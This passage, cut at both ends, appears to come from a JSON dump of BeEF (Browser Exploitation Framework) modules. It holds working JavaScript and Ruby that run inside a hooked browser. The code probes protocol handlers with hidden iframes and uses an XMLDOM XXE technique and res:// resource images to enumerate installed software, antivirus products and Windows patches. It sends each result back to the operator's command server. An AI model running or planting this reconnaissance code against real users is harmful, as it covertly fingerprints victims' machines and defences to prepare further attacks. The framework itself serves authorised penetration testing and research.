Firefox\n\tif (beef.browser.isFF()) {\n\n\t\tvar protocol_iframe = document.createElement('iframe');\n\t\tprotocol_iframe.setAttribute('id', \"protocol_iframe_<%= @command_id %>\");\n\t\tprotocol_iframe.setAttribute('src', \"\");\n\t\tprotocol_iframe.setAttribute('style', \"display:none;height:1px;width:1px;border:none\");\n\t\tdocument.body.appendChild(protocol_iframe);\n\n\t\tfor (var i=0; i<handler_protocol.length; i++) {\n\t\t\tvar result = \"\";\n\t\t\tvar protocol = handler_protocol[i];\n\t\t\ttry {\n\t\t\t\tdocument.getElementById('protocol_iframe_<%= @command_id %>').contentWindow.location = protocol+\"://\"+handler_addr;\n\t\t\t} catch(e) {\n\t\t\t\tif (e.name == \"NS_ERROR_UNKNOWN_PROTOCOL\")\n\t\t\t\t     result = protocol + \" does not exist\";\n\t\t\t\telse result = protocol + \" unknown\";\n\t\t\t}\n\t\t\tif (!result) result = protocol + \" exists\";\n\t\t\thandler_results.push(result);\n\t\t}\n\t\tsetTimeout(\"document.body.removeChild(document.getElementById('protocol_iframe_<%= @command_id %>'));\",3000);\n\t}\n\n\t// Return results\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'handlers='+JSON.stringify(handler_results));\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_protocol_handlers/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_protocol_handlers:\n            enable: true\n            category: \"Host\"\n            name: \"Get Protocol Handlers\"\n            description: \"This module attempts to identify protocol handlers present on the hooked browser. Only Internet Explorer and Firefox are supported.<br /><br />Firefox users are prompted to launch the application for which the protocol handler is responsible.<br /><br />Firefox users are warned when there is no application assigned to a protocol handler.<br /><br /><br /><br />The possible return values are: unknown, exists, does not exist.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\"]\n                user_notify: [\"FF\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_protocol_handlers/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Some additional protocol handlers #\n# ChromeHTML, code, Explorer.AssocProtocol.search-ms, FirefoxURL, gopher, icy, ie.http, ie.https, ie.ftp, iehistory, ierss, irc, itms, magnet, mapi, mms, mmst, mmsu, msbd, msdigitallocker, nntp, opera.protocol, outlook, pcast, rlogin, sc, search, search-ms, shout, skype, snews, steam, stssync, teamspeak, tel, telnet, tn3270, ts3file, ts3server, unsv, uvox, ventrilo, winamp, WindowsCalendar.UrlWebcal.1, WindowsMail.Url.Mailto, WindowsMail.Url.news, WindowsMail.Url.nntp, WindowsMail.Url.snews, WMP11.AssocProtocol.MMS, wpc\n\nclass Detect_protocol_handlers < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'Link Protocol(s)', 'name' => 'handler_protocol', 'description' => 'Comma separated list of protocol handlers',\n        'value' => 'http, https, ftp, file, mailto, news, feed, ldap', 'width' => '200px' },\n      { 'ui_label' => 'Link Address', 'name' => 'handler_addr', 'description' => 'Handler Address - usually an IP address or domain name. The user will see this.', 'value' => 'BeEF',\n        'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'handlers' => @datastore['handlers'] })\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_software/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  if (!(\"ActiveXObject\" in window)) {\n    beef.debug('[Detect Software] Unspported browser');\n    beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());\n    return false;\n  }\n\n  var drive = 'C';\n  var win_dir = 'WINDOWS';\n  var program_dirs = ['Program Files', 'Program Files (x86)'];\n  var xmldom_supported = false;\n\n  function detect_folder(path) {\n    var dtd = 'res://' + path;\n    var xml = '<?xml version=\"1.0\" ?><!DOCTYPE anything SYSTEM \"' + dtd + '\">';\n    var xmlDoc = new ActiveXObject(\"Microsoft.XMLDOM\");\n    xmlDoc.async = true;\n    try {\n      xmlDoc.loadXML(xml);\n      return false;\n    } catch (e) {\n      return true;\n    }\n  }\n\n  // Test XMLDOM XXE technique\n  for (var i = 0; i < program_dirs.length; i++) {\n    var path = drive + \":\\\\\" + program_dirs[i];\n    var result = detect_folder(path);\n    if (result) {\n      xmldom_supported = true;\n      break;\n    }\n  }\n\n  // Detect software using XMLDOM XXE technique\n  var software = [\n    ['7zip', '7-Zip'],\n    ['Acoustica MP3 Audio Mixer', 'Acoustica MP3 Audio Mixer'],\n    ['Autodesk AutoCAD 2015', 'Autodesk\\\\AutoCAD 2015'],\n    ['Autodesk AutoCAD 2016', 'Autodesk\\\\AutoCAD 2016'],\n    ['Adobe Help', 'Adobe\\\\Adobe Help Viewer'],\n    ['Adobe Professional 7', 'Adobe\\\\Acrobat 7.0'],\n    ['Adobe Reader 7', 'Adobe\\\\Reader 7.0\\\\Reader'],\n    ['Adobe Reader 8', 'Adobe\\\\Reader 8.0\\\\Reader'],\n    ['Adobe Reader 9', 'Adobe\\\\Reader 9.0\\\\Reader'],\n    ['Adobe Reader 10', 'Adobe\\\\Reader 10.0\\\\Reader'],\n    ['Adobe Reader 11', 'Adobe\\\\Reader 11.0\\\\Reader'],\n    ['Ahead Nero', 'ahead'],\n    ['AirPcap', 'Riverbed\\\\AirPcap'],\n    ['Apple Software Update', 'Apple Software Update'],\n    ['Azureus', 'azureus'],\n    ['Baidu', 'baidu'],\n    ['BitComet', 'BitComet'],\n    ['BitSpirit', 'BitSpirit'],\n    ['BioExplorer', 'BioExplorer'],\n    ['Cisco Prime Data Center Network Manager', 'Cisco Systems\\\\dcm'],\n    ['Citrix', 'Citrix'],\n    ['DbVisualizer', 'DbVisualizer'],\n    ['eMule', 'eMule'],\n    ['eMule', 'easyMule2'],\n    ['Flash MX 2004', 'Macromedia\\\\Flash MX 2004'],\n    ['Flashget', 'FlashGet'],\n    ['Flashget 3', 'FlashGet Network\\\\FlashGet 3'],\n    ['FoxIt Reader', 'Foxit Software'],\n    ['FoxIt Reader', 'Foxit Reader'],\n    ['Free Nokia Ringtone Converter', 'Free Nokia Ringtone Converter'],\n    ['Git', 'Git'],\n    ['Gnome Music Player Client', 'Gnome Music Player Client'],\n    ['GnuPG', 'GNU\\\\GnuPG'],\n    ['Heroku', 'Heroku'],\n    ['HP AutoPass License Server', 'HP\\\\HP AutoPass License Server'],\n    ['HP TRIM', 'Hewlett-Packard\\\\HP TRIM'],\n    ['IceWeasel', 'IceWeasel'],\n    ['IncredibleCharts', 'IncredibleCharts'],\n    ['Internet Explorer', 'Internet Explorer'],\n    ['iTunes', 'iTunes'],\n    ['Java JRE 6', 'Java\\\\jre6'],\n    ['Java JRE 7', 'Java\\\\jre7'],\n    ['Java JRE 8', 'Java\\\\jre8'],\n    ['JetBrains dotPeek', 'JetBrains\\\\dotPeek'],\n    ['Juniper Network Connect 8.1', 'Juniper Networks\\\\Network Connect 8.1'],\n    ['JXplorer', 'jxplorer'],\n    ['Lexmark Markvision Enterprise', 'Lexmark\\\\Markvision Enterprise'],\n    ['Magellan MapSend Lite', 'Magellan\\MapSend Lite'],\n    ['Microsoft Baseline Security Analyzer 2', 'Microsoft Baseline Security Analyzer 2'],\n    ['Microsoft Live Meeting 7', 'Microsoft Office\\\\live meeting 7'],\n    ['Microsoft SQL Server', 'Microsoft SQL Server'],\n    ['Microsoft SQL Server Compact Edition', 'Microsoft SQL Server Compact Edition'],\n    ['Microsoft Virtual PC', 'Microsoft Virtual PC'],\n    ['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8'],\n    ['Microsoft Visual Studio 9', 'Microsoft Visual Studio 9'],\n    ['Microsoft Visual Studio 10', 'Microsoft Visual Studio 10'],\n    ['Microsoft Visual Studio 11', 'Microsoft Visual Studio 11'],\n    ['Microsoft Visual Studio 12', 'Microsoft Visual Studio 12'],\n    ['mIRC', 'mIRC'],\n    ['Mozilla Firefox', 'Mozilla Firefox'],\n    ['MSN Messenger', 'Messenger'],\n    ['NipperStudio', 'NipperStudio'],\n    ['KeePass Password Safe 2', 'KeePass Password Safe 2'],\n    ['NetBeans 8.1', 'NetBeans 8.1'],\n    ['NeuroServer', 'NeuroServer'],\n    ['Nokia PC Suite', 'Nokia\\\\Connectivity Cable Driver'],\n    ['Notepad Plus Plus', 'Notepad++'],\n    ['Opera', 'Opera'],\n    ['Oracle JavaFX 2.0 Runtime', 'Oracle\\\\JavaFX 2.0 Runtime'],\n    ['Outlook Express', 'Outlook Express'],\n    ['Paritech Pulse', 'Paritech\\\\Pulse'],\n    ['PGP Desktop', 'PGP Corporation\\\\PGP Desktop'],\n    ['Picasa2', 'picasa2'],\n    ['Proxifier', 'Proxifier'],\n    ['QuickTime', 'QuickTime'],\n    ['QLogic SANsurfer', 'QLogic Corporation\\SANsurfer'],\n    ['radmin', 'Radmin'],\n    ['Real VNC4', 'RealVNC\\\\VNC4'],\n    ['RedGate .NET Reflector', 'Red Gate\\\\.NET Reflector'],\n    ['Resource Hacker', 'Resource Hacker'],\n    ['Safari', 'Safari'],\n    ['SeaMonkey', 'SeaMonkey'],\n    ['SiteKiosk', 'SiteKiosk'],\n    ['Spark', 'Spark'],\n    ['TeamSpeak 3 Client', 'TeamSpeak 3 Client'],\n    ['TinaSoft Easy Cafe Server', 'TinaSoft\\\\Easy Cafe Server'],\n    ['Trend Micro Deep Security Manager', 'Trend Micro\\\\Deep Security Manager'],\n    ['TrueCrypt', 'TrueCrypt'],\n    ['TopShare Portfolio Manager v2', 'TopShare Portfolio Manager V2'],\n    ['Samsung USB Drivers for Mobile Phones', 'SAMSUNG\\\\USB Drivers'],\n    ['Secure CRT', 'SecureCRT'],\n    ['Serv—U', 'RhinoSoft.com\\\\Serv—U'],\n    ['Skype', 'Skype\\\\Phone'],\n    ['SoapUI 5.0.0', 'SmartBear\\\\SoapUI-5.0.0'],\n    ['Thunder', 'Thunder Network\\\\Thunder'],\n    ['Thunder', 'Thunder Network\\\\Thunder6'],\n    ['Tencent QQDownload', 'Tencent\\\\QQDownload'],\n    ['VLC', 'VideoLAN\\\\VLC'],\n    ['Ultramon', 'ultramon\\\\ultramondesktop.exe'],\n    ['Unreal Media Server', 'UnrealStreaming\\\\UMediaServer'],\n    ['uTorrent', 'uTorrent'],\n    ['VMware Workstation', 'vmware\\\\vmware workstation'],\n    ['VMware Tools', 'VMware\\\\VMware Tools'],\n    ['VMware Workstation', 'VMware\\\\VMware Workstation'],\n    ['VirtualBox Guest Additions', 'Oracle\\\\VirtualBox Guest Additions'],\n    ['Winamp', 'winamp'],\n    ['Windows DVD Maker', 'DVD Maker'],\n    ['Windows Journal', 'Windows Journal'],\n    ['Windows Media Player', 'Windows Media Player'],\n    ['Windows Mail', 'Windows Mail'],\n    ['Windows Movie Maker', 'Movie Maker'],\n    ['Windows NetMeeting', 'NetMeeting'],\n    ['Windows Photo Viewer', 'Windows Photo Viewer'],\n    ['WinHex', 'WinHex'],\n    ['WinRAR', 'WinRAR'],\n    ['WinZip', 'WinZip'],\n    ['Wireshark', 'Wireshark'],\n    ['WinPcap', 'WinPcap'],\n    ['WinSCP', 'WinSCP'],\n    ['XFire', 'xfire'],\n    ['Xming', 'Xming X Server'],\n    ['Yahoo Messenger', 'Yahoo!\\\\Messenger'],\n\n    // AntiVirus\n    ['360Safe', '360\\\\360Safe'],\n    ['360Safe', '360Safe'],\n    ['A-Squared Anti-Malware', 'A-Squared Anti-Malware'],\n    ['Agnitum Outpost Security Suite Pro', 'Agnitum\\\\Outpost Security Suite Pro'],\n    ['AhnLab', 'AhnLab'],\n    ['ESET Smart Security', 'ESET\\\\ESET Smart Security'],\n    ['ESTsoft ALYac Internet Security', 'ESTsoft\\\\ALYac'],\n    ['AhnLab', 'AhnLab\\\\Smart Update Utility'],\n    ['AhnLab V3 Internet Security Lite', 'AhnLab\\\\V3Lite'],\n    ['Avast AntiVirus 4', 'Alwil Software\\\\Avast4'],\n    ['Avast AntiVirus', 'AVAST Software\\\\Avast'],\n    ['AVG 2012', 'AVG\\\\AVG2012'],\n    ['AVG', 'AVG Secure Search'],\n    ['Avira AntiVir Desktop', 'Avira\\\\AntiVir Desktop'],\n    ['Avira AntiVir Personal Edition', 'Avira\\\\AntiVir PersonalEdition Classic'],\n    ['BitDefender', 'BitDefender'],\n    ['DrWeb AntiVirus', 'DrWeb'],\n    ['eScan AntiVirus', 'eScan'],\n    ['F-Secure ExploitShield', 'F-Secure\\\\ExploitShield'],\n    ['F-Secure Internet Security', 'F-Secure Internet Security\\\\FSPS'],\n    ['F-PROT Antivirus', 'FRISK Software\\\\F-PROT Antivirus for Windows'],\n    ['Kaspersky Internet Security 2012', 'Kaspersky Lab\\\\Kaspersky Internet Security 2012'],\n    ['Kaspersky Anti-Virus 2009', 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2009'],\n    ['Kaspersky Anti-Virus 2010', 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2010'],\n    ['Kaspersky Anti-Virus 2011', 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2011'],\n    ['Kaspersky Anti-Virus 2012', 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2012'],\n    ['Kaspersky Anti-Virus 2013', 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2013'],\n    ['Kaspersky Anti-Virus 2014', 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2014'],\n    ['Kaspersky Endpoint Security 8', 'Kaspersky Lab\\\\Kaspersky Endpoint Security 8 for Windows'],\n    ['Kaspersky Internet Security 2010', 'Kaspersky Lab\\\\Kaspersky Internet Security 2010'],\n    ['Kaspersky Internet Security 2009', 'Kaspersky Lab\\\\Kaspersky Internet Security 2009'],\n    ['Kingsoft AntiVirus', 'KingSoft\\\\kingsoft antivirus'],\n    ['IKARUS anti.virus', 'IKARUS\\\\anti.virus'],\n    ['Immunet AntiVirus', 'Immunet'],\n    ['JiangMin AntiVirus', 'JiangMin\\\\AntiVirus'],\n    ['Micropoint AntiVirus', 'Micropoint'],\n    ['Microsoft EMET 4.1', 'EMET 4.1'],\n    ['Microsoft EMET 5.0', 'EMET 5.0'],\n    ['McAfee Total Protection 2011', 'McAfeeMOBK'],\n    ['McAfee Enterprise', 'McAfee\\\\VirusScan Enterprise'],\n    ['McAfee Security Center', 'McAfee\\\\MSC'],\n    ['Norman Scan Engine', 'Norman\\\\Nse'],\n    ['Norton Internet Security', 'Norton Internet Security'],\n    ['Norton AntiVirus', 'Norton AntiVirus'],\n    ['nProtect Anti-Virus Spyware 3.0', 'INCAInternet\\\\nProtect Anti-Virus Spyware 3.0'],\n    ['PC Tools Antivirus Software', 'PC Tools Antivirus Software'],\n    ['Quick Heal Total Security', 'Quick Heal\\\\Quick Heal Total Security'],\n    ['Sucop Antivirus', 'Sucop\\\\SecPlugin'],\n    ['Rising AntiVirus', 'Rising\\\\RAV'],\n    ['Rising AntiVirus', 'Rising\\\\RIS'],\n    ['Rising Firewall', 'Rising\\\\RFW'],\n    ['Sunbelt Software Personal Firewall', 'Sunbelt Software\\\\Personal Firewall'],\n    ['Sophos Sophos Anti-Virus', 'Sophos\\\\Sophos Anti-Virus'],\n    ['Sophos Client Firewall', 'Sophos\\\\Sophos Client Firewall'],\n    ['SUPERAntiSpyware', 'SUPERAntiSpyware'],\n    ['Symantec Endpoint Protection', 'Symantec\\\\Symantec Endpoint Protection'],\n    ['Symantec Antivirus', 'symantec_client_security\\\\symantec antivirus'],\n    ['Trend Micro Internet Security', 'Trend Micro\\\\Internet Security'],\n    ['Trend Micro OfficeScan Client', 'Trend Micro\\\\OfficeScan Client'],\n    ['VirusBuster', 'VirusBuster'],\n    ['Windows Defender', 'Windows Defender'],\n    ['ZoneAlarm', 'Zone Labs\\\\ZoneAlarm'],\n\n    // Office\n    ['Microsoft Office', 'Microsoft Office\\\\OFFICE'],\n    ['Microsoft Office 10', 'Microsoft Office\\\\OFFICE10'],\n    ['Microsoft Office 11', 'Microsoft Office\\\\OFFICE11'],\n    ['Microsoft Office 12', 'Microsoft Office\\\\OFFICE12'],\n    ['Microsoft Office 13', 'Microsoft Office\\\\OFFICE13'],\n    ['Microsoft Office 14', 'Microsoft Office\\\\OFFICE14'],\n    ['WPS Office', 'Kingsoft\\\\Kingsoft Office'],\n    ['WPS Office Personal', 'Kingsoft\\\\WPS Office Personal'],\n    ['WPS Office 2008', 'Kingsoft\\\\WPS Office 2008'],\n    ['WPS Office 2009', 'Kingsoft\\\\WPS Office 2009'],\n    ['WPS Office 2010', 'Kingsoft\\\\WPS Office 2010'],\n\n    // Security\n    ['Cain', 'Cain'],\n    ['Echo Mirage', 'Echo Mirage'],\n    ['Fiddler2', 'Fiddler2'],\n    ['L0pht Crack 5', '@stake\\\\LC5'],\n    ['Immunity Debugger', 'Immunity Inc\\\\Immunity Debugger'],\n    ['Network Miner v2.1', 'NetworkMiner_2-1'],\n    ['Nmap', 'nmap'],\n\n    // VPN\n    ['Checkpoint Endpoint Connect', 'Checkpoint\\\\Endpoint Connect'],\n    ['Cisco AnyConnect Secure Mobility Client', 'Cisco AnyConnect Secure Mobility Client'],\n    ['Cisco AnyConnect VPN Client', 'Cisco AnyConnect VPN Client'],\n    ['Fortinet FortiClient', 'Fortinet\\\\FortiClient'],\n    ['OpenVPN', 'OpenVPN']\n  ];\n\n  if (xmldom_supported) {\n    beef.debug('[Detect Software] Enumerating software...');\n    for (var i = 0; i < program_dirs.length; i++) {\n      for (var j = 0; j < software.length; j++) {\n        var path = drive + \":\\\\\" + program_dirs[i] + \"\\\\\" + software[j][1];\n        var result = detect_folder(path);\n        if (result) {\n          beef.debug('[Detect Software] Found software: ' + path);\n          beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"installed_software=\" + software[j][0]);\n        }\n      }\n    }\n  }\n\n  // Enumerate patches (Win XP only)\n  var patches = [\n    'KB2570947',\n    'KB2584146',\n    'KB2585542',\n    'KB2592799',\n    'KB2598479',\n    'KB2603381',\n    'KB2619339',\n    'KB2620712',\n    'KB2631813',\n    'KB2653956',\n    'KB2655992',\n    'KB2659262',\n    'KB2661637',\n    'KB2676562',\n    'KB2686509',\n    'KB2691442',\n    'KB2698365',\n    'KB2705219-v2',\n    'KB2712808',\n    'KB2719985',\n    'KB2723135-v2',\n    'KB2727528',\n    'KB2749655',\n    'KB2757638',\n    'KB2770660',\n    'KB2780091',\n    'KB2802968',\n    'KB2803821-v2_WM9',\n    'KB2807986',\n    'KB2813345',\n    'KB2820917',\n    'KB2834886',\n    'KB2847311',\n    'KB2850869',\n    'KB2859537',\n    'KB2862152',\n    'KB2862330',\n    'KB2862335',\n    'KB2864063',\n    'KB2868038',\n    'KB2868626',\n    'KB2876217',\n    'KB2876331',\n    'KB2892075',\n    'KB2893294',\n    'KB2898715',\n    'KB2900986',\n    'KB2904266',\n    'KB2909212',\n    'KB2914368',\n    'KB2916036',\n    'KB2922229',\n    'KB2929961',\n    'KB2930275',\n    'KB2934207',\n    'KB2936068',\n    'KB2964358',\n    'KB898461',\n    'KB923561',\n    'KB946648',\n    'KB950762',\n    'KB950974',\n    'KB951376-v2',\n    'KB951978',\n    'KB952004',\n    'KB952069_WM9',\n    'KB952287',\n    'KB952954',\n    'KB953155',\n    'KB954155_WM9',\n    'KB955759',\n    'KB956572',\n    'KB956844',\n    'KB959426',\n    'KB960803',\n    'KB960859',\n    'KB961118',\n    'KB968389',\n    'KB969059',\n    'KB970430',\n    'KB970483',\n    'KB971029',\n    'KB971657',\n    'KB972270',\n    'KB973507',\n    'KB973540_WM9',\n    'KB973815',\n    'KB973869',\n    'KB973904',\n    'KB974112',\n    'KB974318',\n    'KB974392',\n    'KB974571',\n    'KB975025',\n    'KB975467',\n    'KB975558_WM8',\n    'KB975560',\n    'KB975713',\n    'KB976323',\n    'KB977816',\n    'KB977914',\n    'KB978338',\n    'KB978542',\n    'KB978695_WM9',\n    'KB978706',\n    'KB979309',\n    'KB979482',\n    'KB979687',\n    'KB981997',\n    'KB982132',\n    'KB982665'\n  ];\n\n  if (xmldom_supported) {\n    beef.debug(\"[Detect Software] Enumerating installed patches...\");\n    for (var i = 0; i < patches.length; i++) {\n      var path = drive + \":\\\\\" + win_dir + \"\\\\$NtUninstall\" + patches[i] + \"$\";\n      var result = detect_folder(path);\n      if (result) {\n        beef.debug('[Detect Software] Found patch: ' + path);\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"installed_patches=\" + patches[i]);\n      }\n    }\n  }\n\n  // Skip software detection using 'res' scheme and EXE/DLL resource images\n  // if XMLDOM XXE technique worked\n  if (xmldom_supported) return;\n\n\n\n  // Detect software using 'res' scheme and EXE/DLL resource images\n  var dom = beef.dom.createInvisibleIframe();\n\n  // Enumerate patches (Win XP only)\n  var patches = [\n    [\"KB2964358\", \"mshtml.dll/2/2030\"],      // MS14-021\n    [\"KB2936068\", \"mshtmled.dll/2/2503\"],    // MS14-018\n    [\"KB2864063\", \"themeui.dll/2/120\"],      // MS13-071\n    [\"KB2859537\", \"ntkrpamp.exe/2/1\"],       // MS13-063\n    [\"KB2813345\", \"mstscax.dll/2/101\"],      // MS13-029\n    [\"KB2820917\", \"winsrv.dll/#2/#512\"],     // MS13-033\n    [\"KB2691442\", \"shell32.dll/2/130\"],      // MS12-048\n    [\"KB2676562\", \"ntkrpamp.exe/2/1\"],       // MS12-034\n    [\"KB2506212\", \"mfc42.dll/#2/#26567\"],    // MS11-024\n    [\"KB2483185\", \"shell32.dll/2/130\"],      // MS11-006\n    [\"KB2481109\", \"mstsc.exe/#2/#620\"],      // MS11-017\n    [\"KB2443105\", \"isign32.dll/2/#101\"],     // MS10-097\n    [\"KB2393802\", \"ntkrnlpa.exe/2/#1\"],      // MS11-011\n    [\"KB2387149\", \"mfc40.dll/#2/#26567\"],    // MS10-074\n    [\"KB2296011\", \"comctl32.dll/#2/#120\"],   // MS10-081\n    [\"KB979687\", \"wordpad.exe/#2/#131\"],     // MS10-083\n    [\"KB978706\", \"mspaint.exe/#2/#102\"],     // MS10-005\n    [\"KB977914\", \"iyuv_32.dll/2/INDEOLOGO\"], // MS10-013\n    [\"KB973869\", \"dhtmled.ocx/#2/#1\"]        // MS09-037\n  ];\n\n  beef.debug(\"[Detect Software] Enumerating installed patches...\");\n  for (var i=0; i<patches.length; i++) {\n    var img    = new Image;\n    img.title  = patches[i][0];\n    img.src    = \"res://\" + drive + \":\\\\\" + win_dir + \"\\\\$NtUninstall\" + patches[i][0] + \"$\\\\\" + patches[i][1];\n    img.onload = function() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"installed_patches=\" + this.title); dom.removeChild(this); }\n    img.onerror= function() { dom.removeChild(this); }\n    dom.appendChild(img);\n  }\n\n  // Enumerate software\n  var software = [\n    [\"7zip\", \"7-Zip\\\\7zFM.exe/2/2002\"],\n    [\"Adobe Help\", \"Adobe\\\\Adobe Help Viewer\\\\1.0\\\\ahv.exe/#2/#132\"],\n    [\"Baidu\", \"baidu\\\\Baidu Hi\\\\BaiduHi.exe/#2/#152\"],\n    [\"Cain\", \"Cain\\\\UNWISE.EXE/2/106\"],\n    [\"Echo Mirage\", \"Echo Mirage\\\\unins000.exe/2/DISKIMAGE\"],\n    [\"FoxIt Reader\", \"Foxit Software\\\\Foxit Reader\\\\Foxit Reader.exe/2/257\"],\n    [\"FoxIt Reader\", \"Foxit Reader\\\\Foxit Reader.exe/#2/#484\"],\n    [\"Internet Explorer\", \"Internet Explorer\\\\iedvtool.dll/2/4000\"],\n    [\"Outlook Express\", \"Outlook Express\\\\msoeres.dll/2/1\"],\n    [\"KeePass Password Safe 2\", \"KeePass Password Safe 2\\\\unins000.exe/2/DISKIMAGE\"],\n    [\"Nokia PC Suite\", \"Nokia\\\\Connectivity Cable Driver\\\\nmwcdcocls.dll/2/131\"],\n    [\"Notepad Plus Plus\", \"Notepad++\\\\uninstall.exe/2/110\"],\n    [\"OpenVPN\", \"OpenVPN\\\\Uninstall.exe/2/110\"],\n    [\"Oracle JavaFX 2.0 Runtime\", \"Oracle\\\\JavaFX 2.0 Runtime\\\\bin\\\\eula.dll/2/204\"],\n    [\"Resource Hacker\", \"Resource Hacker\\\\ResHacker.exe/2/128\"],\n    [\"Samsung USB Drivers for Mobile Phones\", \"SAMSUNG\\\\USB Drivers\\\\Uninstall.exe/2/132\"],\n    [\"Tencent QQDownload\", \"Tencent\\\\QQDownload\\\\QQDownload.exe/2/132\"],\n    [\"QuickTime\", \"QuickTime\\\\QTinfo.exe/2/101\"],\n    [\"QuickTime\", \"QuickTime\\\\quicktimeplayer.exe/#2/#403\"],\n    [\"VLC\", \"VideoLAN\\\\VLC\\\\npvlc.dll/2/3\"],\n    [\"Immunity Debugger\", \"Immunity Inc\\\\Immunity Debugger\\\\ImmunityDebugger.exe/2/GOTO\"],\n    [\"Java JRE 6\", \"Java\\\\jre6\\\\bin\\\\awt.dll/2/CHECK_BITMAP\"],\n    [\"Java JRE 7\", \"Java\\\\jre7\\\\bin\\\\awt.dll/2/CHECK_BITMAP\"],\n    [\"Java JRE 8\", \"Java\\\\jre8\\\\bin\\\\awt.dll/2/CHECK_BITMAP\"],\n    [\"VMware Tools\", \"VMware\\\\VMware Tools\\\\TPVCGatewaydeu.dll/2/30994\"],\n    [\"VMware Tools\", \"VMware\\\\VMware Tools\\\\TPAutoConnSvc.exe/#2/30995\"],\n    [\"VMware Workstation\", \"VMware\\\\VMware Workstation\\\\vmplayer.exe/#2/5\"],\n    [\"VMware Workstation\", \"VMware\\\\VMware Workstation\\\\vmware.exe/#2/#508\"],\n    [\"VirtualBox Guest Additions\", \"Oracle\\\\VirtualBox Guest Additions\\\\uninst.exe/#2/110\"],\n    [\"Windows DVD Maker\", \"DVD Maker\\\\DVDMaker.exe/2/438\"],\n    [\"Windows Journal\", \"Windows Journal\\\\Journal.exe/2/112\"],\n    [\"Windows Mail\", \"Windows Mail\\\\msoeres.dll/2/1\"],\n    [\"Windows Movie Maker\", \"Movie Maker\\\\wmm2res.dll/2/201\"],\n    [\"Windows NetMeeting\", \"NetMeeting\\\\nmchat.dll/2/207\"],\n    [\"Windows Photo Viewer\", \"Windows Photo Viewer\\\\PhotoViewer.dll/2/#51209\"],\n    [\"WinRAR\", \"WinRAR\\\\WinRAR.exe/#2/#150\"],\n    [\"Microsoft Virtual PC\", \"Microsoft Virtual PC\\\\Virtual PC.exe/#2/150\"],\n    [\"Wireshark\", \"Wireshark\\\\uninstall.exe/2/110\"],\n\n    // AntiVirus software\n    [\"360Safe\", '360\\\\360Safe\\\\360leakfixer.exe/#2/110'],\n    [\"360Safe\", '360\\\\360Safe\\\\repairleakdll.dll/GIF/154'],\n    [\"360Safe\", '360Safe\\\\live.dll/#2/#203'],\n    [\"360Safe\", '360\\\\360safe\\\\360Safe.exe/2/131'],\n    [\"ESTsoft ALYac Internet Security\", 'ESTsoft\\\\ALYac\\\\AYUpdate.aye/2/30994'],\n    [\"AhnLab\", 'AhnLab\\\\Smart Update Utility\\\\SUpdate.exe/2/153'],\n    [\"AhnLab V3 Internet Security Lite\", 'AhnLab\\\\V3Lite\\\\V3LTray.exe/2/132'],\n    [\"Avast AntiVirus 4\", 'Alwil Software\\\\Avast4\\\\ashAvast.exe/2/267'],\n    [\"Avast AntiVirus\", 'AVAST Software\\\\Avast\\\\aswAra.dll/#2/101'],\n    [\"AVG 2012\", 'AVG\\\\AVG2012\\\\avguires.dll/#2/111'],\n    [\"Avira AntiVir Desktop\", 'Avira\\\\AntiVir Desktop\\\\ccquarc.dll/#2/101'],\n    [\"Avira AntiVir Desktop\", 'Avira\\\\AntiVir Desktop\\\\setup.dll/#2/132'],\n    [\"Avira AntiVir Personal Edition\", 'Avira\\\\AntiVir PersonalEdition Classic\\\\setup.dll/#2/#132'],\n    [\"DrWeb AntiVirus\", 'DrWeb\\\\spideragent.exe/#2/133'],\n    [\"Kaspersky Internet Security 2012\", 'Kaspersky Lab\\\\Kaspersky Internet Security 2012\\\\basegui.ppl/#2'],\n    [\"Kaspersky Anti-Virus 2009\", 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2009\\\\oeas.dll/2/206'],\n    [\"Kaspersky Anti-Virus 2010\", 'Kaspersky Lab\\\\Kaspersky Anti-Virus 2010\\\\shellex.dll/2/103'],\n    [\"Kaspersky Internet Security 2010\", 'Kaspersky Lab\\\\Kaspersky Internet Security 2010\\\\shellex.dll/2/103'],\n    [\"Kaspersky Internet Security 2009\", 'Kaspersky Lab\\\\Kaspersky Internet Security 2009\\\\oeas.dll/2/206'],\n    [\"Kingsoft AntiVirus\", 'KingSoft\\\\kingsoft antivirus\\\\kislive.exe/#2/102'],\n    [\"Rising AntiVirus\", 'Rising\\\\RAV\\\\RavUsb.exe/#2/112'],\n    [\"Rising AntiVirus\", 'Rising\\\\Ris\\\\SetUp.exe/2/147'],\n    [\"ESET Smart Security\", 'ESET\\\\ESET Smart Security\\\\eguiEpfw.dll/#2/1070'],\n    [\"JiangMin AntiVirus\", 'JiangMin\\\\AntiVirus\\\\VirusBox.exe/#2/128'],\n    [\"JiangMin AntiVirus\", 'JiangMin\\\\Install\\\\KVOL.exe/2/202'],\n    [\"Micropoint AntiVirus\", 'Micropoint\\\\mfc90.dll/#2/30994'],\n    [\"McAfee Total Protection 2011\", 'McAfeeMOBK\\\\BootStrap.exe/#2/30994'],\n    